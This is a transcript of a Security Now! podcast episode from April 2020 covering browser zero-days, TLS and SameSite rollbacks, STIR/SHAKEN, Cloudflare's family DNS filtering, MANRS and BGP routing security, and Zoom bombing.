SECURITY NOW!

Transcript of Episode #761

Zoom Go Boom!

Description: This week starts off with a bunch of web browser news including Firefox zero-days, Safari's recent scrape, more coronavirus-related feature rollbacks, the status of TLS v1.0 and 1.1, and some interesting developments on the Edge front. We revisit the lingering STIR and SHAKEN telco protocol mess, then look at a new DNS-filtering add-on service from Cloudflare and at the growing influence of an Internet group hoping to tighten up the mess with BGP. After a quick update on my SpinRite project, we take a look at what's been going on with the security of Zoom, the suddenly chosen tool for hosting Internet virtual classrooms and meetings of all kinds.

High quality (64 kbps) mp3 audio file URL: http://media.GRC.com/sn/SN-761.mp3
Quarter size (16 kbps) mp3 audio file URL: http://media.GRC.com/sn/sn-761-lq.mp3

SHOW TEASE: It's time for Security Now!. Steve Gibson is here. Lots to talk about including a Mozilla Firefox zero-day. It's been fixed, but just barely. A problem with Safari. BGP gets some MANRS. And what's wrong with Zoom, and a pretty good alternative. It's all coming up next on Security Now!.

Leo Laporte: This is Security Now! with Steve Gibson, Episode 761, recorded Tuesday, April 7th, 2020: Zoom Go Boom!

It's time for Security Now!, the show where we cover your security and privacy and safety and quarantine online. Here is the king of his own quarantine, for 15 years running now, Steve Gibson. Hello, Steve.

Steve Gibson: Speaking from the...

Leo: Fortress of Solitude.

Steve: ...what became of the Fortress of, thank you, the Fortress of Solitude. Yes.

Leo: You've been in quarantine since 1989.

Steve: Yeah. I think that explains why I so rarely get sick is that I've had very little human contact.

Leo: It is. If you had third-graders, you'd be getting sick, absolutely.

Steve: Yeah. Yeah. Ask any teacher who's teaching elementary school.

Leo: Oh, my god, yeah. Or any parent, yup.

Steve: Constant challenge. So we've got Episode 761 for this latest first Tuesday of the month. Next week will be Patch Tuesday the 14th. Today is of course the 7th. There were a couple interesting large topics, but there was so much in the press this week about the explosion of popularity of Zoom, which I guess just because of ease of use and word of mouth, it just - it's the telecommuting app, teleconferencing app which has really taken off.

And as really would be the case I think for any app that suddenly is put under massive use, it's shown some cracks and problems. There have been a whole variety of things, from the fact that it was initially used in a nonsecure way with, sort of in retrospect, laughable consequences to people taking a closer look at it and finding it wanting from a security standpoint in a number of different ways. Anyway, today's show title is "Zoom Go Boom!"

Leo: Quite apt.

Steve: And we're going to wrap up by talking about all that. But there was a bunch of other stuff. I actually, for the first time ever, created a new major category for the podcast, which is Browser News, because there just is so much browser news that it just made sense to give it its own section now. And as we know, the browsers are the way we poke ourselves out onto the public Internet, and similarly the way the public Internet pokes back at us. So the security of the browser, the security features of our browsers are becoming really more and more important.

So we're going to start off with a bunch of web browser news, including some Firefox zero-days, Safari's recent scrape, more coronavirus-related feature rollbacks in our browsers, the current status of TLS v1.0 and 1.1, and some interesting developments on the Edge front. We then revisit the lingering STIR and SHAKEN telco protocol mess in the wake of some legislation that passed unanimously last week that at least represents that someone's awake somewhere.

We're going to look at a new DNS filtering add-on service from Cloudflare, and at the growing influence of an Internet group hoping to tighten up the mess with BGP, which we'll also briefly review. I'll quickly update on where I stand with my ongoing SpinRite project, which has all of my attention now. And then we will have some fun taking a look at exactly how Zoom went boom in the last month. So I think a great podcast for our listeners.

Leo: Lots of information. Lots of fun, too. All right, Mr. G.

Steve: I owe our Picture of the Week to somebody who tweeted it to me in the nick of time.

Leo: Earlier this morning, in other words.

Steve: Yes, yes. I looked through my backlog, and nothing really seemed to fit. And so I thought, let me just check Twitter and see if anybody has tweeted me something that would be fun. And so we have a picture of someone's backyard with a little headstone, a little pet-size headstone. The title is "The Beloved Pet." And they're standing there. One of them has taken his cap off. No one's wearing a cap, but the guy who was took his cap off to stand over and give a moment of thought and prayer to this pet. And the cartoon, the little balloon says: "And Olive, though you are no longer with us, know that you will always be in our memories as a password."

Leo: That's Olive123 to you.

Steve: I do appreciate when things that are fun memes in the culture make it out into a cartoon like that because it says, yes, there's a lesson to be learned.

Leo: Don't use Olive.

Steve: No. Not Olive. So Mozilla just patched a pair of critical zero-days, that is, obviously in Firefox, that were being used successfully in targeted attacks against Firefox users. Both were critical remote code execution flaws resulting from some memory mishandling with a dangling use-after-free pointer which, as we know, was previously pointing to allocated memory. The memory was released, but the pointer remained available for abuse. Firefox versions prior to the current, which is - I always check my version when I'm reading one of these pieces of news. Version 74.0.1 is where we all want to be now. Anything before that has a problem. They were being found used in targeted attacks in the wild.

The first of the two is being tracked as CVE-2020-6819, as I said, a use-after-free vulnerability tied to a browser component. This is like an internal insider thing, "nsDocShell destructor," which is a client of the nsI-HttpChannel API. Like I said, okay, something deep inside. It's a function of the browser related to reading HTTP headers. So obscure, but important. In the case of the second vulnerability, which is 2020-6820, so the previous one plus one, the attackers are targeting the Firefox browser component known as "ReadableStream," which is an interface to the Streams API which is responsible for breaking up a resource received over the Internet into smaller chunks for the consumer of the stream.

Anyway, attackers would induce a potential victim to visit a maliciously crafted website to trigger these vulnerabilities and execute arbitrary code on devices running unpatched versions, that is, any version of Firefox previous to 74.0.1. And exploitation of either of these vulnerabilities would potentially enable the attacker to compromise the vulnerable system. And since it was actually being done in the wild, we can assume that exactly that was happening. We don't have any more details. They're being withheld pending maybe something related to other browsers.

The vulnerabilities were reported by two security researchers, Francisco Alonso and Javier Marcos, both of JMP Security. Last week on April 3rd Francisco tweeted from @revskills. He said: "There is still lots of work to do and more details to be published, including other browsers. Stay tuned." And that's interesting because, as we know, Firefox sort of now is the lone wolf from the pack. It's not Chromium-based. And almost everything else is, under the covers. Not Firefox. So it's hard to imagine that something that would affect Firefox - unless maybe like the Tor browser, which is also Firefox-derived. I don't know.

Anyway, maybe we'll find out more in the future. Maybe they are just sort of teasing people without anything to back it up. We'll see. But anyway, targeted attack. It's unlikely that any of us were targets, although, well, I do prefer Firefox still. Although we'll have a little bit of news here in a few minutes that may indicate that I might be becoming less faithful. We also received an important security update for Chrome. Just I'll mention that in passing. As far as we know, none of the eight security bugs that were eliminated from Chrome last week with its update to 80.0.3987.162 - and when I looked, I had .163 for some reason. Anyway, but you want to be 162 or later.

As far as we know, they were not zero-days being actively exploited. But we do know that a number of them were rated critical and, had they been known by an attacker, would have allowed remote code execution if exploited. So here are two - and this is Chrome, meaning Chromium, meaning everybody except Firefox. So here in these two stories is a perfect example of why browsers are getting their own section of this podcast now because this is the way people get attacked is through their browsers.

And speaking of which, Safari, okay, there's another browser that's a significant market share, neither Firefox nor Chromium So I'm glad I mentioned that. We've just learned that, until recently, merely visiting a website, either a malicious website or a legitimate site unknowingly hosting a malicious ad, using Apple's Safari browser could have given attackers access to your device's front and rear cameras, its microphone, its location, and even some of its user's saved passwords.

The fortunately responsibly disclosed seven-vulnerability Safari exploit chain which made this possible also made its discoverer, Ryan Pickren, $75,000 richer, which was a bounty paid by a presumably very grateful Apple Computer for this work, and for Ryan's private disclosure to them of what he discovered, this very advanced piece of work. And we all know that Ryan could have made a bunch of money if he'd sold this elsewhere, maybe as much as 10 times more money. So that would have been selling it to the dark side, absolutely for use in exploiting unsuspecting people. So tip of the hat to Ryan for doing the right thing and selling this thing to Apple, you know, his discovery.

He notes at the bottom of his wonderfully detailed, step-by-step exposition - I have a link to it in the show notes - of his multiple discoveries that all this only works still on Safari 13.0.4 or earlier, meaning earlier this year and earlier. This is significant since Apple has been issuing a series of updates following Ryan's private disclosure to Safari from 13.0.5, which was released at the end of January, through 13.1, which was published on March 24th, 2020. So Ryan's discoveries were responsibly disclosed, whereupon Apple began fixing things and patching things quickly.

What's interesting, Ryan lays out the entirely of his attack on the page - which, Leo, you've got on the screen right now - which I strongly recommend to anyone who's interested, like all the OWASP guys should take a look at this because this is all about web app security. But I'll summarize the high points, which all of our listeners will understand, since they break one of the absolute golden rules of browsers everywhere. What Ryan found was a robust and practical means of bypassing Safari's enforcement of the same-origin policy. And, you know, we talk about how crucial, I mean, like that's the pillar on which today's browser security is standing is that you do not allow content from other origins to somehow get into your browser in the current origin and get mixed.

So Ryan figured out how to do that. And that's how, in fact, the user plaintext passwords were also compromisable, since Safari uses the same same-origin policy to detect websites on which password autofill needs to be applied. So his hack was able to trick Safari into misapplying those origins and to disclose secrets and all kinds of other stuff.

So anyway, he discovered a total of seven different vulnerabilities that he was able to link together in a complex chain in order to pull off an important and very powerful exploit. So again, congrats to him. And there it is, there's the last browser of the set, all of which has just had serious remote exploit possibilities.

Meanwhile, Chrome and Edge have joined Mozilla in postponing their deprecation of TLS v1.0 and 1.1. It was two weeks ago that I mentioned that Mozilla had formally announced their plans to quickly restore their just-deprecated v1.0 and 1.1 of TLS in Firefox 74 due to the coronavirus issues. They learned that there were people who were attempting to gain health-related information from websites that were still not supporting 1.2 or 1.3, and users of Firefox were receiving scary-looking security blocked screens.

Well, now we have that screenshot that you've got up there, Leo, is from Chrome, discussing the pending forthcoming release of 81 under the topic of "Remove TLS 1.0 and 1.1," which was the plan. They now say: "Note: Removal of TLS 1.0 and 1.1 has been delayed to Chrome 83, which is expected to ship in late May of 2020." They did it for the same reason. They said - I guess it was Microsoft who was more clear. They just said they're pushing it back. Microsoft with Edge has done the same thing. They posted on the 31st of March under "Plan for change: TLS 1.0 and 1.1 soon to be disabled by default."

The principal project manager lead on the Edge Developer Experience, he said: "As announced in October" - October 2018 is when they all decided, all the browsers collectively decided we're going to remove this from our browsers here. It was projected for spring of 2020, now. He wrote: "Microsoft will soon disable TLS 1.0 and 1.1 by default in Microsoft browsers." And note that the key there is "disable." There will be a setting where you could turn it back on if you needed to. They're not ripping it out, but they're just going to flip it off.

"But," he wrote, "in light of current global circumstances, we will be postponing this planned change, originally scheduled for the first half of 2020." He said: "For the new Microsoft Edge, based on Chromium, TLS 1.0 and 1.1 are currently planned to be disabled by default no sooner than Microsoft Edge v84." So they're staying in sync with Google's plans also, currently planned, well, they're saying for July of 2020. Google said May.

"For all supported versions of IE11 and Microsoft Edge Legacy, TLS 1.0 and TLS 1.1 will be disabled by default as of September 8, 2020." So they're going to push that back further. They said: "While these protocols will remain available for customers to reenable as needed, we recommend that all organizations move off of 1.0 and 1.1 as soon as practical. Newer versions of the TLS protocol enable..." blah blah blah, you know, better security and so forth.

So I thought, okay, where is the world now, at this point? Ivan Ristic's wonderful SSL Labs reports that over 97% of the sites that Qualys's SSL Labs has surveyed will accept connections over either TLS 1.2 or 1.3. This was the data coupled with vendors' own telemetry that all four of the major browser vendors - Apple, Google, Microsoft, and Mozilla - back in October of 2018 drove them to decide, okay, it's time to shut it down. At the time, Apple reported that on their platforms less than 0.36% of HTTPS connections made by Safari were still using 1.0 or 1.1. Google had their number at 0.5. Microsoft said that for them it was 0.72.

And interestingly, Firefox's stats were higher than the others for some reason, at 1.2%. I guess that would suggest that the demography of Firefox users is slightly different than Chrome, which is still way out in the lead. But for whatever reason, it was probably time. As we know, unless there was some push, those things would never go away. And of course the security issues aren't critical, or they would have been immediately killed. It's just like, yeah, okay, we're not happy with the security any longer. Let's just kill it off once and for all. And it's good to remove legacy crap from our clients if it's no longer needed. So it just simplifies the codebase, which, you know, makes it easier to maintain moving forward.

And Chrome is also reversing themselves on their planned enforcement of SameSite cookies. Last week on Friday Justin Schuh, who's Google's Director of Chrome Engineering, posted on the Chromium blog "Temporarily rolling back SameSite," which is the name of the posting, "Temporarily rolling back SameSite Cookie Changes."

He said: "With the stable release of Chrome 80 in February" - which is where we still are. Remember that 81 was supposed to come out in mid-March, but that's been pushed back - "Chrome began enforcing secure-by-default handling of third-party cookies as part of our ongoing effort" - this is Google speaking - "to improve privacy and security across the web. We've been gradually rolling out this change since February and have been closely monitoring and evaluating ecosystem impact, including proactively reaching out to individual websites and services to ensure their cookies are labeled correctly."

And I'll remind our listeners what this whole SameSite thing is in a second. He said: "However, in light of the extraordinary global circumstances due to COVID-19, we are temporarily rolling back the enforcement of SameSite cookie labeling, starting today. While most of the web ecosystem was prepared for this change, we want to ensure stability for websites providing essential services including banking, online groceries, government services, and healthcare that facilitate our daily life during this time. As we roll back enforcement, organizations, users and sites should see no disruption." So again, in other words, this was going to ruffle some feathers, and the decision was made, okay, those feathers are going to need to be ruffled sooner or later. Let's do it. But now it's like, uh, let's do it later.

He finishes, saying: "We recognize the efforts of sites and individual developers who prepared for this change and appreciate the feedback from the web ecosystem which has helped inform this decision. We will provide advance notice on this blog and the SameSite Updates page when we plan to resume the enforcement, which we're now aiming for over the summer." So my thinking is that that, too, may get pushed back a little further.

So our listeners may recall that we previously discussed Google's plan in this regard in great detail, probably on a podcast with that name. As we know, Google has some folks in there who really dislike cookies for session state maintenance, and who have proposed a complete cookie replacement. But they also recognize the virtual impossibility of overthrowing the status quo in the short term. And then some. So instead, they're working to tighten things up as much as they can by porting some of their dream replacement system's - which is never going to happen - features into cookie land for the time being, and thus remaining within the current system, but making it stronger.

So they planned to, well, and were since February, requiring websites which intend to use third-party cookies to explicitly declare that fact in the cookies parameter list by introducing a new cookie parameter named SameSite. This allows the website to explicitly assert essentially a cookie usage policy for that cookie. And the big change in Chrome's behavior was that it would no longer accept policy-free unlabeled cookies when they appeared in a third-party context. So, yeah. For people who weren't paying attention, I mean, this has been coming for a long time. I can't remember when we did the podcast about it.

So again, it was one of those, "We're going to do this. We own 68% of the world's browser share, so pay attention because your stuff's going to break." But of course nobody's going to pay attention until their stuff does break. So breakage was beginning. Now it's been put off for a while. I have a link in the show notes to a very thorough

SameSite cookie concept explainer, which is the same one that we were referencing back when we talked about all this in the first place. It's web.dev/samesite-cookies-explained. And it's got a big tray of tasty-looking cookies at the top. Thank you, Leo. And then a really very clear walkthrough about what this is and what it's all about and what it's doing. So anyway, as Justin posted, since it will break some things, it'll eventually happen, but no one's in the mood for breaking things right now. So we're going to wait a while.

And Leo, I think it was you during the podcast, maybe it was last week, who mentioned the just-breaking news at the time that Microsoft's Edge browser would be getting vertical tabs. And we talked about that a bit. So I just wanted to note that it's looking very hopeful that vertical tabs will be coming to Edge. According to reports, Microsoft's own Corporate VP for Microsoft Edge, a guy named, I guess it's Liat Ben-Zur, really, really wants this feature. He was quoted saying: "I find myself losing track of all my tabs, and I'll accidentally close a tab as a result. Utterly frustrating, as that is usually exactly the one page I needed." To which I say, "Amen, brother."

From the demos I've seen, they're just going to be a little boxy icon thing in the far upper left corner of the Edge browser window, which just clicking it toggles the tabs from across the screen to top down the left-hand edge and back and forth. And I'll just bet that once that has become a single-click feature, the rest of the world will finally wake up to how obviously correct this has always been. Sort of like the idea of using a mouse to move an onscreen pointer around. Just that's like the right way to do it. Once you see it, you can't go back.

So, but there's more. Beyond vertical tabs, the other interesting feature we don't know a lot about yet, but it's also what's coming soon to Edge, is something that Microsoft calls "Smart Copy." The idea is that when you mark and click and drag a region of a web page in order to sort of rectangular lasso it, and then copy that, when you subsequently paste it into a destination container such as an email message, thanks to this forthcoming feature, the content will be smart about its destination and will arrange to retain its original formatting, which typically doesn't happen these days. So that'll be another nice feature that Edge gets.

And browsers being an important issue, I titled this next piece "Who's on Second?" We all know that Google has essentially taken over the browser market. Chrome currently commands a 68.5% share of the entire market. And historically Firefox has held second place, with IE in third place and Edge in fourth. But around last November, October/November, Edge's gradual rise overtook IE as IE's share softened and slowly dropped. Which moved Edge into third place behind Firefox. But Firefox had also been very gradually losing steam until, yes, last month it happened. Edge and Firefox also exchanged places, which moved Edge into second place behind only Google. And while it's a very distant second place, at 7.59% share to Google's 86.5, it's a significant milestone.

And NetMarketShare's graph, which you've got on the screen there, Leo, for the past year pretty convincingly reveals that we're seeing a long-term trend here, and not just a little blip. Edge has been moving up. IE and Firefox have been losing steam, and Edge is now the number two browser in the marketplace. So it's nice that it's based on Chromium, and it and Chrome will probably be pretty much at parity.

Okay. Non-browser security news. The return of STIR and SHAKEN. The U.S. Federal Communications Commission, our FCC, last Tuesday unanimously passed new rules to require all originating and terminating voice service providers to implement STIR/SHAKEN in the Internet Protocol portions of their networks by, unfortunately, not like tomorrow, but the 30th of June, 2021. So, what, a year and a quarter from now.

We've all seen some tortured acronyms before, but, well, especially SHAKEN. STIR and SHAKEN are right up there. STIR stands for, and we did a podcast on this a while ago. For anyone who's interested, if you don't remember it, if you joined since then, STIR stands for Secure Telephone Identity Revisited. Okay. But SHAKEN is like, ugh, S-H-A-K-E-N, Signature-based Handling of Asserted Information Using ToKENs. Oh, boy.

Leo: They had STIR, clearly. And they said, oh, it'd be cool if we had SHAKEN.

Steve: Wouldn't that just put us right there with Bond, yes. Yow. So S-H-A is Signature-based, we forget the "B," Handling for the H, of Asserted, okay, now we've got all the S-H-A. Now we forget about Information Using because we have nothing to do with the "I" and the "U," and now we need KEN. So toKENs. Ugh. Anyway, somebody really struggled with that one, every bit as much as they're struggling with the protocol itself.

Even when the U.S. carriers have implemented the STIR and SHAKEN protocols, assuming that actually happens, and that's not a given, the problem still won't have been solved for us. I mean, the whole issue here is authentication of call originators. And actually call recipients, also, but that seems less a problem. So recall that, when we covered this extensively before, our entire global telephony network is currently missing any and all means for any type of authentication of a call's origin, and for assuring the call's destination. The call originator asserts, with no authentication whatsoever of that assertion, the phone number and identity of its caller.

Of course we all who have - anyone with a phone knows the consequence of that, which is everyone seems to be calling you from, like, for me, it's Laguna Beach. It's like, I don't know why, but that's where the call appears to be originating. No. Nothing prevents that originating phone number and identity from being spoofed. Which is of course the problem we find ourselves with today.

When implemented, STIR and SHAKEN will only provide this authentication in the U.S. In other words, it's the FCC saying to the U.S. telecom carriers, you must do this in the U.S. So that means that only when both the originating and terminating voice service providers are both in the U.S., and also assuming that they didn't go through an intermediary, that is, a third party, it probably didn't. So only then would we actually know that the caller ID is correct. And despite the fact that the calls that come to me claim to be originating in Laguna Beach, the access on the phone at the other end, when I make the mistake of picking one of those up for some reason, makes it pretty clear that they're probably not located near me. So if they're originating outside the U.S., they can still be spoofed. And this system does nothing about it.

So, now, in practice, I wouldn't mind if I could set my phone to never ring for a non-fully authenticated end-to-end call because, you know, for me, I would like to be able to get calls from people in the U.S. and know that it's really who they say they are. So that would be nice. It doesn't solve the problem for people doing business overseas, for people who have families, you know, outside the U.S. But still, you know, baby steps.

So there's a lot of pushback from the telco industry. They're using these same arguments. They're saying, why are you making us spend all this money to upgrade our equipment when it's not actually going to solve the problem. So it remains to be seen what happens a year and a half from now. But again, we clearly have a technology-based problem. Part of the solution exists for calls staying within the U.S. There's no reason we can't at least fix that much of the problem. So it would be nice.

Cloudflare has added parental control to their 1.1.1.1 DNS service. Since many of us are at home with our families and young ones, maybe poking around the Internet more than usual, I thought I'd mention a new, just-released, or announced, DNS-based content filtering service offered by Cloudflare. The idea is simple, and it's cool. Simply by tweaking a family's network DNS settings, Cloudflare will offer content-filtered, based on domain name, domain name-based content-filtered DNS, which will refuse to locate and look up sites which parents would presumably prefer that their unsupervised children did not visit. It's available in two tiers. There is malware blocking sites only, and then there's malware plus adult content blocking.

In their announcement, Cloudflare asserted that all of the same privacy guarantees, which applies to their primary 1.1.1.1 service, applies to these alternate services. And it's as easy as changing your DNS. If you want only malware blocking, you switch to 1.1.1.2 as your primary, and 1.0.0.2 as your secondary DNS. If you want malware and adult content blocking, it's .3, so 1.1.1.3 for primary DNS, 1.0.0.3 for your secondary DNS.

And then they did also say that during the coming months they will also be working on developing and providing users with somehow additional configuration settings for the 1.1.1.1 for Families service, which is how they're branding this. In his announcement, the CEO of Cloudflare, Matthew Prince, said: "This year, while many of us are sheltering in place, protecting our communities from COVID-19 and relying on our home networks more than ever, it seemed especially important to launch 1.1.1.1 for Families." Which, again, is the way they're branding it.

They did have a little out-of-the-gate problem. And when I saw this, I thought, wow, Leo, I'm getting old. Some new initials have been added: LGBTQIA+.

Leo: Hmm. I know LGBTQ. I don't know what the IA is.

Steve: Well, whatever Intersex is, that's I, because I went and looked it up.

Leo: We have a lot of genders now. There's many, many genders.

Steve: You know, I was thinking we ought to just add "S" for straight. And then we could just get rid of the whole thing and just say "people."

Leo: That's true. If you added "S," it's everybody but "S."

Steve: Then you've got it whole. You've got everything covered and just scrap all this nonsense and just say "people." Anyway, so what happened was, by mistake, shortly after the launch of the new family-friendly service, some users realized that a number of, and I guess this is now the acronym, LGBTQIA+ sites - and by the way, you googled that?

Leo: Oh, yeah.

Steve: It's a thing. Those were also restricted. It turned out to be a mistake, as I said, and one which Matthew Prince felt awful about, clearly. He explained that the mistake was caused by categorizations used by data providers from whom they license feeds to create the backbone of the filtering service. He explained that overlapping feeds provided by multiple providers were in use, and that the last few months they had spent verifying which ones to use for the family service.

The generally agreed malware, blacklisted, and malicious websites were easy. And for the sexually explicit content category, they were aiming to duplicate Google's Safe Search tool. One of the license providers had an adult content category that mirrored Google, as well as another category that also encompassed LGBTQIA+ sites, and also a broader range of topics. And that broader filtering category was initially chosen by mistake. They didn't mean to. So they quickly fixed the mistake. They rebuilt their backend filter, and Cloudflare has asked its users to report any remaining inadvertently blocked LGBTQIA+, or let's just say people, websites that they...

Leo: Well, the plus kind of does it all because it says anything else that we left out. So it's everybody.

Steve: Yeah, could be dot dot dot; right? Just like, oh.

Leo: Yeah.

Steve: Yeah. I guess if it were a regex, would that...

Leo: Yeah, that's what we need is a regex. Yeah, that'll solve it.

Steve: Okay. So MANRS, an abbreviation for Mutually Agreed Norms for Routing Security. It boasts some serious founding participants, including Akamai, Amazon Web Services, Azion, Cloudflare, Facebook, Google, Microsoft, and Netflix.

In our very early series of podcasts we did a whole block on how the Internet works. I detailed the concept of how it creates a virtual data circuit between typically distant endpoints by sending a stream of data packets out onto the so-called Internet and trusting the Internet's amazing routing infrastructure to, at every hop, send the packet forward in the right direction toward its destination. And in theory, if you've got all endpoints linked together by this ad hoc federation of interconnected routers, and a packet arrives and gets sent out the proper wire to the next router heading in the right direction, eventually it'll get to its destination. And crazy enough, it works.

And the truth is this wacky non-deterministic system works far better than it has any right to. Which really stands as a testament to the genius and to the very many correct decisions that were made back at the beginning. But amazing as the system is, it's not without a few blemishes. One of the enduring blemishes is BGP, the Border Gateway Protocol.

Leo: Well, this has been a problem just yesterday.

Steve: Yes. By which the Internet's ad hoc federation of autonomous routers continuously share with each other their routing tables, or actually share with their peers their routing tables to inform each other which network blocks they're connected to out of all of their wires. Basically what is their, you know, they're saying this is what my routing table looks like. That information is useful to all of their peer routers. In the beginning, routing tables were managed by hand. There was no BGP. But as the Internet grew, that became, well, more and more difficult to the point of impossibility. So BGP was brilliantly invented to automate the process.

The problem is that much of the Internet is based upon trust. For example, as we all know, when a packet is placed onto the Internet, it indicates its IP of origin. But we know that that origin IP can be deliberately spoofed, and havoc can result. So, you know, spoofing source IPs is a thing. The point is that a lot of the Internet is based on trust. The same is true for BGP. If someone's router "advertises," as is the term, that it is authoritative for some block of IP space, the router's word will be taken at face value. And that advertisement will be propagated from one router to the next, far and wide across the Internet.

But if that advertisement was in error, the advertiser of a block of network space it doesn't own will start receiving traffic that it should not receive. And in turn, the true owner of that network space will be starved of that traffic that it should have legitimately been receiving. So, you know, the first time you hear that, it's like, what? It could be broken that easily? Uh-huh. And as you said, Leo, it happened recently, and we've covered BGP routing mistakes.

Leo: The Russians were sucking traffic from Cloudflare and a bunch, a ton of other CDNs. Every time this happens, you and I have this discussion. I say, well, isn't there - can't we lock this down? This can happen so easily by accident, or maliciously.

Steve: Yes. Yes. So there have been many instances of this through the years. And when they've been major, I mean, and many of them are smaller. You know, someone goes dark for a while, and they say to their ISP, hey, what happened? And they go, oops, sorry, we meant to put a period here, and we put a zed - as you like that term, Leo, I agree with you, it's kind of ambiguous - instead. So, you know, most of these things appear to be inadvertent.

The possibility does exist for this BGP misrouting to be done nefariously. So it is possible for routers to be made much more suspicious of incoming BGP advertising claims, you know, in other words, truth in advertising, and to proactively filter out advertisements that just cannot be correct. That has not historically been the default. It can be done. So last week's announcement by MANRS - and I love the term. I mean, like MANRS is a perfect abbreviation because of what we're talking about is like, okay, mind your Internet manners. Don't go making BGP announcements you shouldn't, or propagating them to your neighbors if they might be wrong.

So anyway, the announcement is interesting and hopeful because two new major classes of participants, content delivery networks and cloud providers, are now being brought into this collective. In their announcement last week, they said new category - it's titled "New category of CDNs and cloud providers join MANRS to improve routing security."

They said: "Today we're proud to announce the new MANRS Content Delivery Network and Cloud Program. This new program broadens support for the primary objective of MANRS, to implement crucial fixes needed to eliminate the most common threats to the Internet's routing system. Mutually Agreed Norms for Routing Security (MANRS) is a global initiative, supported by the Internet Society, that requires collaboration among participants" - it's voluntary - "and shared responsibility for the global Internet routing system." You know, this can't be imposed on anyone. It's like, let's collectively take responsibility. They said: "It's a community of security-minded organizations committed to making routing infrastructure more robust and secure.

"Originally designed by and for network operators, the initiative has already been extended once to address the unique needs and concerns of Internet Exchange Points. These two facets of MANRS complement each other. The first secures customer-provider interactions, while the second creates a safe public peering environment. CDNs," they say, "are a geographically distributed group of servers that work together to provide fast delivery of Internet content across the globe, and today the majority of web traffic is served through CDNs. Cloud providers offer network services, infrastructure, and/or applications in the cloud by hosting them in data centers, often distributed around the world, and providing access via the Internet or private interconnections."

And they wrote: "The two typically peer - exchange traffic directly - with thousands of other networks so that data can flow more efficiently, making them large hubs of the Internet interconnection infrastructure. Peering with CDNs and cloud providers can drastically improve performance of network services they host, so there's a clear benefit to interconnect with these networks."

And here's sort of what changed. They said: "While CDN and cloud are basically edge networks, their impact on routing security can be significant." So essentially what the MANRS group are acknowledging here is that, though these are technically users of the endpoint networks, they've gotten so big now that they're operating at Internet scale. And the interconnections are so significant that they need to be brought into this global routing taskforce, essentially.

They said: "Several known incidents showed that an edge network" - like a CDN or a cloud provider - "even a small one, can cause havoc on the Internet by leaking routes. MANRS helps by requiring egress routing controls, so networks can prevent such incidents from happening." That is to say, we were talking before about how the normal BGP behavior, the default behavior is to propagate advertisements even if they're false. Egress routing controls prevents that propagation.

They said: "So networks can prevent such incidents from happening." They said: "Secondly, leveraging CDNs' and cloud providers' peering power can have significant positive spillover effect on the routing hygiene of networks they peer with. In other words, if CDNs and cloud providers do their part to improve routing security and demand better practices from their customers, their customers will in turn step up their efforts, and together the Internet will be a better and safer place for all of us."

So they said: "That's why in late 2018 the MANRS community formed a taskforce with representatives from Akamai, Azion, Cloudflare, Comcast, Facebook, Google, Microsoft, Nexica, Oracle, Telefonica, Redder, TORIX, and VeriSign, committed to developing a set of actions CDNs and cloud providers should take to improve routing security. The outcome of that taskforce's work led to the creation of this new MANRS program."

So they said: "The MANRS Content Delivery Network and Cloud Program lists six actions, of which five are mandatory to implement: prevent propagation of incorrect routing information, prevent traffic from illegitimate source IP addresses, facilitate global operational communication and coordination, facilitate validation of routing information on a global scale, encourage MANRS adoption, and provide monitoring and debugging tools to peering partners." That's the optional one.

They said: "Program participation provides an opportunity to demonstrate attention to the security and sustainability of the Internet ecosystem and therefore dedication to providing high-quality services. Any CDN or cloud provider that takes at least the five required actions above is welcome to join. Besides enjoying improved security posture, MANRS participants also show their commitment to the sustainability and resilience of the Internet ecosystem by creating a secure network peering environment, preventing potential attacks at their border; encouraging better routing hygiene from your peering partners; signaling your organization's security-forward posture so it's good for PR; demonstrating responsible routing behavior; and improving operational efficiency for peering interconnections, minimizing incidents and providing more granular insight for troubleshooting." So anyway, it goes on talking about why is router security important, and BGP and so forth. But we've already talked about that.

So anyway, this represents, I think, a useful good significant step forward. And, you know, there is no solution to the BGP routing problem, other than arranging to be smarter than just assuming that when a router receives an advertisement about route changes, that they are correct. There may be another layer of technology on top that is necessary. There were some, back when it was possible to guess TCP sequence numbers, since BGP operates over standard IP protocol, back when sequence number guessing was possible, it was possible to actually intercept the BGP peering connection between routers and inject fake ads, fake routing into the connection. That's way more difficult these days due to the improvements in the underlying TCP protocol. But still, maybe we need another layer of security, some way of authenticating this. We don't have that yet.

But anyway, the idea of, you know, essentially the individual routing operators sort of considered this like, well, you know, everything's working. It's probably not a big problem. And I'm busy with other things. So this is saying, you know, step up your game a bit. Let's protect the whole Internet by doing the right thing.

Okay. Zoom Go Boom. Based in San Jose, California, Zoom Video Communications Inc. provides, as we know, a video conferencing-focused communications platform using desktop and web browser clients. So you get cloud video conferencing, online meetings, group messaging. There's also some group and private chat features in there in virtual online conferences.

While all of the online conferencing systems have seen a significant jump in their usage, once this outbreak of the coronavirus-driven COVID-19 disease forced virtually all physical meetings of any kind into cyberspace, for whatever reason, Zoom was the system that most caught on. Maybe it sounds fun. I don't know. Apparently it was due to nearly instantaneous word-of-mouth spread. You know, what do you use? I use Zoom. Okay, I'll use it, too. And so it went. And it's relatively easy to use.

However, creating something of a stress test for Zoom, the past month has shown that it's less easy to use it securely, that not using it securely can have immediate and often embarrassing consequences, that for many purposes it may not be practical to use it securely just because of logistics, and also some potentially serious bugs have surfaced as a consequence of the greater scrutiny which has been brought to bear.

So to get some sense of scale, Zoom's usage has skyrocketed from 10 million daily users before the coronavirus last December to now 200 million daily users, so a 20-fold user increase. And that's resulted in a 535% increase in daily traffic to its download page, just in the last month. The company itself went public a year ago last April, and its stock price recently peaked in mid-March at more than twice what it had been in December. So it doubled while the rest of the Dow stocks crashed in the last few months.

The most apparent problem was that, in the rush to move online, many of Zoom's useful security features initially went unused. As we know, adding a password to anything, especially if it's optional, makes that thing's use less simple, even though it makes it somewhat more secure. So, and passwords on Zoom conferences are optional. So early on, everything from boardroom meetings to schoolroom classes to online yoga were quickly placed online, initially without passwords. Those organizing the meetings apparently gave little thought to the possibility that anyone would want to crash the party.

And there's like a Zoom meeting code, which I guess they figured was obscure enough. But oh, what a mistake that was. And you know, even if a password was added to a meeting, both the meeting's code and its "protecting" password must still be provided to everyone wishing to attend. So when a school district posted its Zoom-based meeting codes and passwords on their public website, well, stand back. The world now has a new term: "Zoom bombing." And it's become a sub-industry of its own. And in retrospect, it was completely foreseeable that now we have every bored teenager now also stuck at home, on the Internet, just itching to cause some - and here comes my favorite word - mayhem.

